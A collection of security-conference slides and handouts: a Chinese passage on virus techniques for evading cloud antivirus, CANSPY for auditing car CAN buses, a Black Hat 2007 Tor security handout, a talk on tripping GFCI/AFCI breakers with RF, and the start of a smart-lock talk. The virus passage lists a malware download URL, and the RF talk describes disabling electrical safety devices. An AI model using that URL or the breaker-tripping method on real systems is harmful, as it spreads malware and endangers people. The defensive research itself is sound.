附加数据填充大量冗余数据:
变形-膨胀自身(2)
发现日期:2010.6.12
资源中插入无效数据
变形-膨胀自身(3)
发现日期:2011.3月底
传播渠道:网购木马
增加无效节
变形-本地
MD5本地变形
PE
PE’
变形-服务端
互联网
PE1
PE2
服务端变形
脚本/批处理
发现时间:2011.7月初
下载源:
http://sdfggwer.2288.org:8282/***/日本av专用.bat
利用系统文件做启动项来逃避查杀规则
利用系统文件做启动项来逃避查杀规则
利用系统文件做启动项来逃避查杀规则
利用系统文件做启动项来逃避查杀规则
配置文件来回写病毒
配置文件来回写病毒
配置文件来回写病毒
配置文件来回写病毒
启动项采用
启动项采用
启动项采用
启动项采用windows clsid调用机制
调用机制
调用机制
调用机制
检测网络异常
Ping 云查杀服务器
Ping 常用网站
无响应
有响应
网络修复模块
正常扫描逻辑
有响应
云的特性
通讯方式:网络媒介
响应速度:快速上报,及时发布
响应集合:支持的文件格式有限,如PE、RAR、
ZIP、MSI;
收集方法:依赖客户端
病毒与云安全对抗的技术手段
沟通方式:断网
响应速度:膨胀自身,打时间差;MD5变形,不识庐
山真面目
响应集合:利用云端不支持的格式、如VBS、BAT、
引导扇区
收集方法:Rootkit文件隐藏
小结
从早期手段较为激烈的断网,再到有针对性的
做自身的易容,现在发展到另辟蹊径的逐个击
破,病毒使用的技术手段在单点的纵轴上层层
深入,但却在时间的横轴上却有从正面对抗到
侧面规避的趋势,可能它们也在寻求一种“简
单有效”的方法来应对云安全。
P/48
与中国的软件产业共同进步
与中国的软件产业共同进步
与中国的软件产业共同进步
与中国的软件产业共同进步!
!
!
! | pdf |
This document and its content is the property of Airbus Defence and Space.
It shall not be communicated to any third party without the owner’s written consent | [Airbus Defence and Space Company name]. All rights reserved.
CANSPY
A Platform for Auditing CAN Devices
Arnaud Lebrun
Jonathan-Christofer Demay
2
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Auditing conventional IT systems
• Penetration testing
• A form of security audit
• Assess the risks of intrusion
• Actual tests instead of a review process
• The point of view of a real attacker (the “black-box” approach)
• Relevant evaluation of impact and exploitability
• Limitations
• Less time
• Less resources
• More ethics
• Counter-measure: the “grey-box” approach
3
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
The CISO’s dilemma
• The hand they are dealt with
• Huge scope of responsibility
• Continuous changes
• Major security threats
• Risk of substantial damages
• Limited budget
• Their response
• They rely on penetration testing
• They welcome the “gray-box” approach
• They rely on risk analysis first and foremost
• They divide perimeters accordingly
4
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
5
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
6
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
7
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
8
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
• The same approach can be applied
∙ For each vehicle
∙ Conduct risk analysis
∙ Prioritize ECUs
∙ Conduct penetration tests accordingly
∙ Carry out corrective actions
∙ End for
• Some ECUs can be common to several vehicles
• Corrective actions may be difficult to carry out
9
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
It always begins with…
• Consumer-grade connectivity
• Wi-Fi, Bluetooth and USB
• Nothing new here
Infotainment and navigation
10
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
It always begins with…
• Mobile broadband connectivity
• Conventional protocols (TCP, HTTP, …)
• Setting up an IMSI catcher
• Then again, nothing new here
Infotainment and navigation
Seamless connectivity
11
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
It always begins with…
• CAN attacks
• Bypass CAN bus segmentation (architecture-dependant)
• Reverse-engineer higher-layer protocols
• Break the Security Access challenge (ISO 14229)
Infotainment and navigation
Seamless connectivity
Other ECUs: steering, braking, etc.
12
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CAN architectures
• One bus (to rule them all )
• Less common nowadays
• Congestion issues
ECU
CAN High
CAN Low
ECU
ECU
ECU
ECU
13
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CAN architectures
• Multiple separate buses
• Some ECUs have to be connected to multiple buses
• They can be used to bypass the segmentation
ECU
CAN1 High
CAN1 Low
ECU
ECU
ECU
CAN2 High
CAN2 Low
ECU
14
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CAN architectures
• Multiple interconnected buses
• A gateway is routing frames between CAN buses
• It may take into account the state of the vehicle
• Both safety and cyber-security are considered
ECU
CAN1 High
CAN1 Low
ECU
Gateway
ECU
ECU
CAN2 High
CAN2 Low
15
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Crafting CAN attacks
• Several attack vectors
• Misuse of intrinsic capabilities (e.g., remote diagnostic tool)
• Exploit a higher-level parsing vulnerability
• Break the Security Access challenge
• Etc.
• This will imply a substantial amount of work
• Unsolder EEPROM or identify on-chip debug (JTAG/BDM) and
conventional debug (UART/WDBRPC) interfaces
• Extract the firmware
• Reverse-engineer the aforementioned items
• Craft actual attacks
16
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
The Man in the Middle
• Taking advantage of the client-server model
• Insert yourself in-between them
• Do not alter traffic until you see something interesting
• Then start to drop/alter/replay/…
• Finalize with targeted reverse-engineering
• In theory, this is transposable to the CAN bus
• We are auditing one device
We could proxy the traffic from and to that device
• We are working with the car manufacturer
We can ask for a restricted devices (e.g., a remote diagnostic tool)
This is limited by third-parties intellectual properties
17
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
However, in practice…
• CAN is a multi-master serial bus
• Physically cut the bus and insert yourself in-between
• Forward traffic between the split parts
• Etc.
• 2 possible options (other than deep diving into the car)
• Emulate the car from the point of view of the audited device
• Use an integration bench provided by the car manufacturer
ECU
CAN High
CAN Low
ECU
ECU
ECU
MITM
18
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
However, in practice…
• CAN is a multi-master serial bus
• Physically cut the bus and insert yourself in-between
• Forward traffic between the split parts
• Etc.
• 2 possible options (other than deep diving into the car)
• Emulate the car from the point of view of the audited device
• Use an integration bench provided by the car manufacturer
ECU
CAN High
CAN Low
ECU
ECU
ECU
MITM
19
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about existing tools ?
• Only one interface to connect to CAN buses
• Bridging two devices could add a high latency
• CAN was designed to meet deterministic timing constraints
20
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about existing tools ?
• Only one interface to connect to CAN buses
• Bridging two devices could add a high latency
• CAN was designed to meet deterministic timing constraints
• Low-end FTDI chip to connect to a computer
• This is UART over USB at 115 200 bauds
• CAN buses can go as far as 1Mbit/s
• OBD-II is 250 or 500 kbit/s
21
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What about existing tools ?
• Only one interface to connect to CAN buses
• Bridging two devices will add a high latency
• CAN was designed to meet deterministic timing constraints
• Low-end FTDI chip to connect to a computer
• This is UART over USB at 115 200 bauds
• CAN buses can go as far as 1Mbit/s
• OBD-II is 250 or 500 kbit/s
• Lack of a mature and powerful framework
• We get frustrated when we cannot use Scapy
• Federate higher-layers reverse-engineering efforts
22
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CANSPY hardware
• STM32F4DISCOVERY board
• 168 MHz 32bit ARM Cortex M4
• COTS ($20)
23
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CANSPY hardware
• STM32F4DISCOVERY board
• 168 MHz 32bit ARM Cortex M4
• COTS ($20)
• STM32F4DIS-BB extension board
• 1 RS232 interface
• 1 Ethernet port
• 1 SD card drive
• COTS ($40)
24
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CANSPY hardware
• STM32F4DISCOVERY board
• 168 MHz 32bit ARM Cortex M4
• COTS ($20)
• STM32F4DIS-BB extension board
• 1 RS232 interface
• 1 Ethernet port
• 1 SD card drive
• COTS ($40)
• DUAL-CAN extension board
• Configurable resistors, power supplies and circuit grounds
• 2 CAN interfaces
• Custom-made ($30 worth of PCB and components)
25
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CANSPY firmware
• Event-driven scheduler
• Asynchronous I/O operations
• Low latency processing
• 1 functionality == 1 service
• Start only what you need
• Read from all devices, write to only one
• Inter-service communication
• Mutual exclusion is possible
• Autonomous mode
• In-built filtering/altering engine
• SD card for read or write operations
• Power supply from the car battery
• Open source licensed
• Several services
• CAN: Forward/Filter/Inject
• Ethernet: Wiretap/Bridge
• SDCard: Capture/Logdump
• UART: Monitor/Logview/Shell
• CAN devices
• 2 distinct devices
• Support all standard speeds
• Throttling mechanisms
• Dummy frame injection
• Delaying acknowledgments
26
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CAN over Ethernet
• The SocketCAN format
• Ethertype 0x88b5
• Different MAC addresses
• Acknowledgments
27
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CAN over Ethernet
• The SocketCAN format
• Ethertype 0x88b5
• Different MAC addresses
• Acknowledgments
class SocketCAN(Packet):
name = "SocketCAN"
fields_desc = [
BitEnumField("EFF", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("RTR", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("ERR", 0, 1, {0:"Disabled", 1:"Enabled"}),
XBitField("id", 1, 29),
FieldLenField("dlc", None, length_of="data", fmt="B"),
ByteField("__pad", 0),
ByteField("__res0", 0),
ByteField("__res1", 0),
StrLenField("data", "", length_from = lambda pkt: pkt.dlc),
]
def extract_padding(self, p):
return "",p
bind_layers(Ether, SocketCAN, type=0x88b5)
28
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
CAN over Ethernet
• The SocketCAN format
• Ethertype 0x88b5
• Different MAC addresses
• Acknowledgments
class SocketCAN(Packet):
name = "SocketCAN"
fields_desc = [
BitEnumField("EFF", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("RTR", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("ERR", 0, 1, {0:"Disabled", 1:"Enabled"}),
XBitField("id", 1, 29),
FieldLenField("dlc", None, length_of="data", fmt="B"),
ByteField("__pad", 0),
ByteField("__res0", 0),
ByteField("__res1", 0),
StrLenField("data", "", length_from = lambda pkt: pkt.dlc),
]
def extract_padding(self, p):
return "",p
bind_layers(Ether, SocketCAN, type=0x88b5)
#wireshark -X lua_script:ethcan.lua
local sll_tab =
DissectorTable.get("sll.ltype")
local can_hdl =
sll_tab:get_dissector(0x000C)
local eth_tab =
DissectorTable.get("ethertype")
eth_tab:add(0x88b5, can_hdl)
29
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
The OBD-II use case
• No need to physically cut anything
• Buy a Goodthopter-compatible OBDII-to-DB9 cable
• Build its female counterpart ($10 worth of components)
• Setup the DUAL-CAN extension properly
• Have fun
• Several interesting cases
• Professional/consumer car diagnostic tools
• Usage-based policies from insurance companies
• Air-pollution control from law enforcement
• They expose sensitive networks/hosts
• Demonstration
DO TRY THIS
AT HOME
30
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Thank you for
your attention | pdf |
Securing the Tor Network
Black Hat USA 2007 Supplementary Handout
Mike Perry
This handout is not a standalone document. It is intended to be used in conjunction with the
presentation slides, and together the two documents should be sufficient to serve as a comprehensive
artifact of the presentation. The speaker will refer to some figures and pages by number during the
presentation.
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
Tor Routing
Tor traffic is routed through 3 nodes by default: Guard, relay, and exit. In normal operation, a given
user only has 2 guard nodes that they use exclusively. The relay node is chosen arbitrarily, and the exit
node is chosen according to its exit policy, which specifies which IPs and ports it will connect to. Paths
are changed roughly every 10 minutes.
This diagram illustrates two important properties of Tor. First, the two clients illustrate the
multiplexing of multiple “circuits” over a single node-to-node TLS connection. Second, the bottom
client illustrates the stream multiplexing capability: multiple TCP connections can be carried over a
single Tor circuit. Each node knows only the source and destination pairing for a circuit. It does not
know the whole path.
This diagram illustrates the Tor circuit level encryption mechanism. Node-level communications are
encrypted with TLS connection. Inside this, the Tor Directory lists public keys that the client uses to
establish the three secret AES session keys between itself and each successive hop in the circuit.
Page 2
Illustration 2: Tor Encryption
Illustration 1: Routing Diagram
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
Points of Attack
There are obviously a lot of attack points here, some more serious than others, and some can be
performed in a few different ways. The following are worth discussing in extended detail:
1. Application Layer Attacks.
These attacks revolve around feeding the application some type of data that either causes it to
bypass proxy settings, reveal crucial user information, or otherwise outright exploit it. Note that
there are actually three positions that this type of attack can be performed (exit, transit, and
destination), and all three have been observed in the wild.
A particularly surprising example of this type of attack is an exit node spoofing a content
element from mail.google.com and fetching your gmail account cookie and downloading all
your mail, even though you were not visiting any Google-related sites at the time. Google's
insistence (and Yahoo's and Hotmail's too for that matter) on allowing non-https access makes
this attack an easy target from not only Tor, but your local coffee shop also (or the Defcon
network!). Yet another great reason to clear your cookies regularly.
2. Intersection Attacks.
In my opinion, intersection attacks are currently the second most dangerous attack against Tor,
behind application layer attacks. Intersection attacks essentially rely on correlating several
distinct properties of Tor users to match pseudonymous Tor activity to that user, and function
best if there are few Tor users using the network. This obviously covers a wide range of
concrete attacks, but the most surprising instance I am aware of is the case of a university
Page 3
Illustration 3: Attack Points
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
student who was conducting an online scam somehow related to his or her university.[1] Since
few people are currently willing to put up with Tor's slow (and irregular) connection speeds, it
was a trivial matter for local network administrators to interrogate the only two regular Tor
users on campus. This is not to say that running scams via Tor is something we would like to
encourage or protect, but this underscores the fact that Tor network popularity is actually a key
component of Tor network security for others who need more legitimate anonymity.[2]
3. Active Circuit Failure Attacks.
Guard nodes can actively fail circuits if they do not extend to their colluding peers. If they are
able to find a valid side channel either within the Tor protocol or just using timing information,
they may be able to perform this attack at the guard and exit position only. In the degenerate
case, however, they can continue to fail each successive circuit extend until a colluding peer is
chosen for that hop. This attack underscores the fact that reliability is yet another key factor of
security in anonymity networks.
Note that various properties of Tor make this attack slightly less straightforward in practice,
however. The user typically has at least 2, but usually more guards, and the Tor client will
switch to a randomly selected guard each time the circuit fails. However, lying about bandwidth
to a degree proportional to the percentage of circuits failed before one succeeds can allow nodes
to maximize their potential for damage, since they will be carrying less traffic due to failing
circuits causing the clients to sometimes move elsewhere.
4. Timing Correlation Attacks.
Timing correlation attacks attempt to use connection time, duration, and flow characteristics to
correlate the client's connection to a guard node to an external exiting connection. An active
adversary can also introduce their own timing patterns into this traffic. Academic studies have
shown that this attack can be extremely effective in simulation[3]. However, it still remains to
be seen how particular details of the Tor network affect the ability to carry out this attack. In
particular, unanswered and interesting research questions include:
●
To what degree does Tor's stream multiplexing frustrate this?
●
At what point does the number of users exceed the bits of information that can be
reliably obtained from timing information in a passive attack?
●
How much more difficult is it to perform this attack externally than internally?
●
Running Tor as both a client and a node should greatly improve your resistance to both
internal and external versions of this attack. Is this quantifiable, though?
Page 4
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
Centralized Bandwidth and Load Scanning
Centralized bandwidth scanning divides the network into groups of nodes based on their reported
speed, and fetches large files via paths that consist entirely of nodes with reported speeds close to
theirs. The locally observed bandwidth is then recorded for each node in the path, and divided into its
reported bandwidth to obtain an estimated number of concurrent full-capacity streams passing through
that node. S=B/L.
Since Tor attempts to load balance proportional to node's claimed bandwidth, nodes that lie about their
capacity will end up carrying many more streams than they usually would, and will be greatly
overloaded, and will exhibit very low observed values for L, and thus high values for S.
Like all centralized scanning approaches, centralized bandwidth scanning is not without its limitations.
Scanner IPs will exhibit very obvious repetitive traffic patterns to guard nodes, and exit nodes can
come to recognize test URLs. Once the scanner activity is recognized, scanner traffic can be prioritized
to give the illusion of higher capacity.
Workarounds for these issues include infrequent, short duration scanning, as well as only counting
statistics for the middle node, who is unable to easily recognize scanned content.
Interesting Items Found During Network Scanning
1. Chinese ISP doing MITM on SSL
2. Regional ISPs inserting popup blocker Javascript into HTTP streams
3. DNS spoofing
4. Upstream caches caching stale content
5. Verified reports of MITM on SSH, SSL
6. Disproved incorrect accusations of bandwidth lying
7. Instances of overloaded nodes due to strange exit policies and load balancing bugs
Decentralized Network Scanning
Decentralized failure scanning is still in proposal form as part of the Two Hop Paths Tor Proposal
#115.[4] Google Summer of Code participant Johannes Renner is also conducting research on the
effectiveness of node-based scanning as a part of his Master's Thesis on improving Tor's path selection.
Page 5
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
Tor's Web Attack Profile
1. Ways to bypass Tor/Proxy Settings
(a) Java 1.5 Socket API allows code to override Java proxy settings
i. Does this sound like a good feature for secured environments in general??
(b) Plugins handle their own network code and settings
(c) Delayed execution until Tor is disabled
i. meta-refresh tags
ii. Timers and Events
iii. Busy waiting
2. Correlation of Tor vs Non-Tor
(a) Cookies
i. Exits can spoof elements from fruitful SSL-sloppy domains such as mail.google.com
(b) Cache Data
i. Cached objects can contain deliberately constructed unique identifiers
3. History Disclosure
(a) Enumeration of link tag style attributes in Javascript
i. http://ha.ckers.org/weird/CSS-history-hack.html
(b) Using CSS to fetch specific background images for visited styles. No Javascript needed.
i. http://ha.ckers.org/weird/CSS-history.cgi
4. Location artifacts
(a) Timezone
(b) Locale, charset
5. Misc anonymity set reduction
(a) OS version/user agent
6. History records/disk state
(a) Some users are at risk simply for using Tor. Their computers may be confiscated/examined.
Page 6
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
TorButton Options
●
Disable plugins on Tor Usage
This option is key to Tor security. Plugins perform their own networking independent of the
browser, and many plugins only partially obey even their own settings.
●
Isolate Dynamic Content to Tor State
Another crucial option, this setting causes the plugin to disable Javascript on tabs that are
loaded during a Tor state different than the current one, to prevent delayed fetches of injected
URLs that contain unique identifiers, and to kill meta-refresh tags. It also enables an
nsIContentPolicy that prevents all fetches from tabs with an opposite Tor state to block non-
Javascript dynamic content such as CSS popups.
●
Hook Dangerous Javascript
This function enables the Javascript hooking code. Javascript is injected into the DOM (and
then removed immediately after executing) to hook the Date object to mask timezone, and to
hook the navigator object to mask OS and user agent properties not handled by the standard
Firefox user agent override settings.
●
Disable Updates During Tor
Many extension authors do not update their extensions from SSL-enabled websites. It is
possible for malicious Tor nodes to hijack these extensions and replace them with malicious
ones, or add malicious code to existing extensions.
●
Disable Search Suggestions during Tor
This optional setting governs if you get Google search suggestions during Tor usage. Since no
cookie is transmitted during search suggestions, this is a relatively benign behavior.
●
Block History Reads during Tor/Non-Tor
Based on code contributed by Collin Jackson[5], this is actually two settings, but are combined
here for brevity since the effect is the same. When enabled and the corresponding Tor state is
active, this setting prevents the rendering engine from knowing if certain links were visited.
This mechanism defeats all document-based history disclosure attacks, including CSS-only
attacks.
●
Block History Writes during Tor/Non-Tor
This setting prevents the rendering engine from recording visited URLs, and also disables
download manager history, form field history, and disables remembering login information.
Note that if you allow writing of Tor history, it is recommended that you disable non-Tor
history reads, since malicious websites you visit without Tor can query your history for .onion
sites and other history recorded during Tor usage (such as Google queries).
Page 7
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
●
Disable Session Saving
This option disables the session store, which stores your session in the event of browser
upgrades and crashes. Since the session store can be written at random times and a browser
crash or upgrade can cause you to refetch many Tor urls outside of Tor, currently this is an all-
or-nothing setting for both Tor and Non-Tor.
●
Clear History During Tor Toggle
This is an alternate setting to use instead of (or in addition to) blocking history reads or writes.
●
Block Tor disk cache and clear all cache on Tor Toggle
Since the browser cache can be leveraged to store unique identifiers, cache must not persist
across Tor sessions. This option keeps the memory cache active during Tor usage for
performance, but blocks disk access for caching.
●
Block disk and memory cache during Tor
This setting entirely blocks the cache during Tor, but preserves it for Non-Tor usage.
●
Clear Cookies on Tor Toggle
Fully clears all cookies on Tor toggle.
●
Store Non-Tor cookies in a protected jar
This option stores your persistent Non-Tor cookies in a special cookie jar file, in case you wish
to preserve some cookies. Contributed by Collin Jackson.[5]
●
Manage My Own Cookies
This setting allows you to manage your own cookies with an alternate extension, such as
CookieCuller[6]. Note that this is particularly dangerous, since malicious exit nodes can spoof
document elements that appear to be from sites you have preserved cookies for.
●
Clear cookies on Tor/Non-Tor shutdown
This setting uses the Firefox Private Data settings to clear cookies on Tor and/or Non-Tor
browser shutdown.
●
Set user agent during Tor usage
User agent masking is done with the idea of making all Tor users appear uniform. A recent
Firefox 2.0.0.4 Windows build was chosen to mimic for this string and supporting navigator.*
properties, and this version will remain the same for all TorButton versions until such time as
specific incompatibility issues are demonstrated. Uniformity of this value is obviously very
important to anonymity. Note that for this option to have full effectiveness, the user must also
allow Hook Dangerous Javascript ensure that the navigator.* properties are reset correctly.
The browser does not set some of them via the exposed user agent override preferences.
Page 8
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
Javascript Hooking
Firefox extension development is a maze of (extremely powerful) black voodoo magic and cryptic
interfaces that allow you to customize just about every aspect of the browser and browser components
via Javascript and XML. However, the one thing they lack is the ability to configure your timezone.
Hence, regular client-side Javascript can query the Date object to determine your approximate
geographic location.
Luckily, it turns out that Javascript is actually a pretty flexible language. Through a combination of
object oriented functionality and lexical scoping, it is possible to create wrappers to existing objects
while still concealing the original implementation, and to do all this at the same privilege level as
client-side Javascript without risk of subversion.
The approach is to create a nsIWebProgressListener to listen for location change events to alert you as
soon as a new document's DOM is first created. At this point, you create a custom script tag, insert it
into the DOM (this causes the script to immediately run), then remove it.
The key to the whole operation is to make sure that all of your references to the original object exist
only as local variables that just happen to be in the same scope as the functions you are hooking (this
works because of lexical scoping). In my case, this is what prevents the adversary from just calling the
internal wrapped Date implementation.
To make it a bit more difficult to fingerprint TorButton users, all other variables are direct properties of
'window', and can be deleted from that object using the hash syntax and the delete operator. A skeleton
sketch of the injected code is below. For the support code that does the injection, see the TorButton .xpi
source code (in particular, torbutton_weblistener in torbutton.js).
Page 9
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
window.__HookObjects = function() {
if(__tb_set_uagent) {
var tmp_oscpu = window.__tb_oscpu;
navigator.__defineGetter__("oscpu", function() { return tmp_oscpu;}); /* ... */
}
var tmp = Date;
Date = function() {
var d; /* DO NOT make 'd' a member! EvilCode will use it! */
var a = arguments;
if(arguments.length == 0) d=new tmp(); /* ... */
Date.prototype.getYear=function() {return d.getUTCYear();}
Date.prototype.getMonth=function(){return d.getUTCMonth();}
Date.prototype.getDate=function() {return d.getUTCDate();}
Date.prototype.getDay=function() {return d.getUTCDay();} /* ... */
/* Hack to solve the problem of multiple date objects all sharing the same lexically scoped d every
time a new one is created. This hack creates a fresh new prototype reference for the next object to
use with a different d binding. It doesn't break stuff because at the start of this function, the
interpreter grabbed a reference to Date.prototype, and this new assignment does not affect the
interpreter's reference. During this function we modified Date.prototype to create the new
methods with the lexically scoped d reference. */
Date.prototype = new Object.prototype.toSource();
return d.toUTCString();
}
Date.now=function(){return tmp.now();}
Date.UTC=function(){return tmp.apply(tmp, arguments); }
}
if (window.__HookObjects) {
window.__HookObjects();
delete window['__HookObjects'];
delete window['__tb_set_uagent'];
delete window['__tb_oscpu'];
}
Page 10
Black Hat USA 2007: Securing the Tor Network Supplementary Handout
References
1. p2pnet news. Professor in Tor Trouble. Feb 9, 2007. http://p2pnet.net/story/11279
2. Roger Dingledine and Nick Mathewson. Anonymity Loves Company: Usability and the
Network Effect. In the Proceedings of the Fifth Workshop on the Economics of Information
Security (WEIS 2006), Cambridge, UK, June 2006.
3. Brian N. Levine, Michael K. Reiter, Chenxi Wang, and Matthew K. Wright. Timing attacks in
low-latency mix-based systems. In Ari Juels, editor, Proceedings of Financial Cryptography
(FC ’04). Springer-Verlag, LNCS 3110, February 2004.
4. Mike Perry. Two Hop Paths Tor Proposal #115.
http://tor.eff.org/svn/trunk/doc/spec/proposals/115-two-hop-paths.txt
5. Collin Jackson. Contributed Code to FoxTor. http://cups.cs.cmu.edu/foxtor/
6. Dan Yamaoka. CookieCuller Firefox Extension. https://addons.mozilla.org/en-
US/firefox/addon/82
Page 11 | pdf |
whoami
Maggie Jauregui
@magsjauregui
Ideas/research
my own…
Story time!
Supply Acquisition
Circuit Interrupts around the house
≠ Purposes
GFCI: Intends to
prevent Electric Shock
AFCI: Intends to
prevent fires
Code Requirements
GFCI’s
•
Bathrooms/Indoor wet
locations
•
Garages/storage areas/non
habitable areas/unfinished
basements
•
Outdoors/Compartments
accessible from outside the
unit/Rooftops/Pools/Hot tubs
•
Crawl spaces at or below grade
level
•
Kitchen [dish washer,
Refrigerator]
•
Laundry Areas
AFCI’s
•
Kitchens
•
Family Rooms
•
Dining Rooms
•
Living Rooms
•
Parlors
•
Libraries
•
Dens
•
Bed rooms
•
Sun rooms
•
Recreation Rooms
•
Closets/Hallways
•
Laundry Areas
•
Or similar rooms
Ground Fault Circuit Interrupt
GFCI
5-30 mA
25-40 ms
Solenoid
GFI Demos
Magic Smoke - Closed
https://www.youtube.com/watch?v=wdIDoE3rV9M
Internal Spark
https://www.youtube.com/watch?v=E-fKU9MvDjg
Close range Outlet trip
https://www.youtube.com/watch?v=21UeF_cHRxU
Close range Outlet trip
https://www.youtube.com/watch?v=7yw-DV2URE0
GFCI Outlet Trip through RF
https://www.youtube.com/watch?v=IpzHTYNK52Y
Across Walls
https://www.youtube.com/watch?v=30t50Hs0pZM
“Remote”
https://www.youtube.com/watch?v=fKxL1MMLe0I
Magic smoke
https://www.youtube.com/watch?v=Nt6HiCsAKhw
Flaming flying components
https://www.youtube.com/watch?v=S16zuJACdds
Result
Fried GFCI
https://www.youtube.com/watch?v=dnIJeaKOugc
AFCI Breakers vs. HAM Radio
https://www.youtube.com/watch?v=JsILD0Fce1s
0:22 & 5:47
AFCI Breakers vs. HAM Radio
http://www.arrl.org/news/arrl-helps-manufacturer-to-resolve-arc-fault-circuit-interrupter-rfi-problems
So what’s going on?
Electromagnetism
Resonance ♪
Defined by: Resistance, Inductance & Capacitance
A coil will resonate to it’s fundamental frequency
(or harmonics)
US AC works @ 60 Hz
Low Power GFI
SCR’s
Silicone Controlled Rectifiers
Ceramic Capacitor
• 0.01 uF
• Overheating, over current, short-circuit
GFI Power Outlets
Patents
Certificate
Link
US5943199 A
https://www.google.com/patents/US5943199?dq=5943199&hl=en&sa=X&ei=S6rlU4PvEtLpoASNq4CYBQ&ved=0CBwQ6AEwAA
E256185
http://www.luenming.com.hk/index_topic.php?did=76074&didpath=/75489/76074
US7463124 B2 https://www.google.com/patents/US7463124?dq=7463124&hl=en&sa=X&ei=e7flU9-pM4X6oATjpoCwDw&ved=0CBwQ6AEwAA
UL E212530
http://yanyao1984.en.ec21.com/XY421-DV5--2830573_2948868.html
E130151
http://www.olilio.com/file/detail/AUHG2.E130151.html
E256185
http://www.olilio.com/file/detail/AUHG2.E256185.html
Impacted? Count
Year
Brand
Country
Models
Y
12
1999
Tower Switches Limited
China
303 52
Y
2
2007
Luen Ming
China
LA5s, LA5D, LA5D-EMC, LA5S-EMC
Y
4
2008
Leviton
USA
B513-522
N
2
2013
Zhongshan Kaper Electrical Co.,LTD
China
XY421-DV5
N
1
2012
Wellong
China
P10D, P10S
N
1
2012
Luen Ming
China
LA2S, LA2D, LA3S, LA3D.
Other scenarios…
Relevance?
• RFI can be accidental or intentional
• RFI is wireless and fingerprint free
• Annoying DoS/Neighbor trolling
• Services/Devices that matter: Medical
Equipment
Recent GFCI News
Electrocution causes death of 8 year old boy
July 28th, 2014 – Lake Conroe, Texas
http://www.yourhoustonnews.com/courier/news/police-electrocution-may-have-
caused-death-of--year-old/article_0c6c4b56-6c57-5796-9ccb-b25bb025f780.html
Suggested Solutions
• Test your GFCI’s often
• Update to newer Circuit Breaker Patents
• Back ups:
– Power Generators
– Batteries
– Manual Overrides
• Grounded FC encasing
LIVE Demos
Acknowledgements
• Carlos Abad
• Larry Averitt
• Michael Demeter
• Rafael Jauregui
• Habteab Yemane
• Michael Reams
• Chris Mitchell
• Laplinker ♡
Bloopers
https://www.youtube.com/watch?v=3RvvFFfQZt8
Thanks | pdf |
Backdooring the
Front Door
About me
●
Software Engineer by trade
●
Hacker by passion
●
Lock picker for fun
●
The best puzzles are not meant to be solved
●
All opinions are my own, and may not reflect those of my past, present, or
future employers
●
Twitter: @jmaxxz
Internet of things
August smart lock
August's marketing
team
"Unlike physical keys which can
be duplicated and distributed
without your knowledge"
Source: august.com (August 17th, 2015)
"Safer than … codes that can be
copied."
Source: august.com (September 14th, 2015)
Security claims
●
Perfectly secure
●
Guest access can be revoked at any time
●
Guest permission can be limited to a schedule
●
Guest can not
○
Use auto unlock
○
Invite or remove guests or owners
○
View activity feed
○
View Guest List
○
Change lock settings
●
Keys can not be duplicated or distributed
●
Track who enters and exits your home
Mapping out the
API
